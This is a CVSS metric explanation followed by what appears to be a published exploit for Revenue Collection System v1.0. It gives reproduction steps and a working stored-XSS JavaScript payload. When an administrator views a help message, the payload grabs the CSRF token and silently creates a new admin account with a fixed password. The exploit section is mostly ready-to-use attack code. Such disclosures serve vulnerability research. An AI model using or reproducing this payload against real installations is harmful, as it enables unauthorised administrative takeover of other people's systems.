The vulnerable system is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers). An example of a network attack is an attacker causing a denial of service by sending a specially crafted TCP packet across a wide area network (e.g., CVE-2004-0230).
Attack Complexity
Low
AC
The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system.
Privileges Required
None
PR
The attacker is unauthenticated prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack.
User Interaction
None
UI
The vulnerable system can be exploited without interaction from any human user, other than the attacker. Examples include: a remote attacker is able to send packets to a target system a locally authenticated attacker executes code to elevate privileges
Scope
Unchanged
S
An exploited vulnerability can only affect resources managed by the same security authority. In the case of a vulnerability in a virtualized environment, an exploited vulnerability in one guest instance would not affect neighboring guest instances.
Confidentiality
Low
C
There is some impact on confidentiality, but the attacker either does not gain control of any data, or the information obtained does not have a significant impact on the system or its operations.
Integrity
Low
I
Modification of data is possible, but the attacker does not have control over what can be modified, or the extent of what the attacker can affect is limited. The data modified does not have a direct, serious impact on the system.
Availability
None
A
There is no impact on the availability of the system; the attacker does not have the ability to disrupt access to or use of the system.

# Exploit Title: Revenue Collection System v1.0 - Authentication Bypass via Stored XSS
# Exploit Author: Joe Pollock
# Date: November 16, 2022
# Vendor Homepage: https://www.sourcecodester.com/php/14904/rates-system.html
# Software Link: https://www.sourcecodester.com/sites/default/files/download/oretnom23/rates.zip
# Tested on: Kali Linux, Apache, Mysql
# CVE: T.B.C
# Vendor: Kapiya
# Version: 1.0
# Exploit Description:
# Revenue Collection System v1.0 suffers from a Stored Cross-Site Scripting vulnerability allowing an authenticated
# client user to add an administrative user account to the application then log in as the newly created admin.
To reproduce this exploit, log in as a client user then navigate to the 'Help' functionality (/index.php?page=help).
The help functionality is used to contact an administrator by sending a message. Paste the Javascript code below into the
'Your Message' textbox then click 'Send'. When an administrator views this message, an administrative user account will
be added to the application with username "admin_new" and password "Test123Test123". Using these credentials, it should
now be possible to log in to the application via the administrative login, here: /admin/login.php (Note: change the
'target', 'x_Username', and 'x_Passsword' as required).
<script>
var target = "http://localhost/rates/admin/usersadd.php";
var req = new XMLHttpRequest();
req.open("GET", target);
req.send();
var parser = new DOMParser();
resp = req.responseText
var document = parser.parseFromString(resp, "text/html");
var token = document.getElementsByName("token")[0].value;
var params = "token="+token+"&t=users&action=insert&&modal=0&x_Fullname=test&x_Username=admin_new&x__Email=test123%40test123.com&x_Passsword=Test123Test123&x_userLevelId=-1";
req.open("POST", target);
req.withCredentials = true;
req.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
req.send(params);
</script>
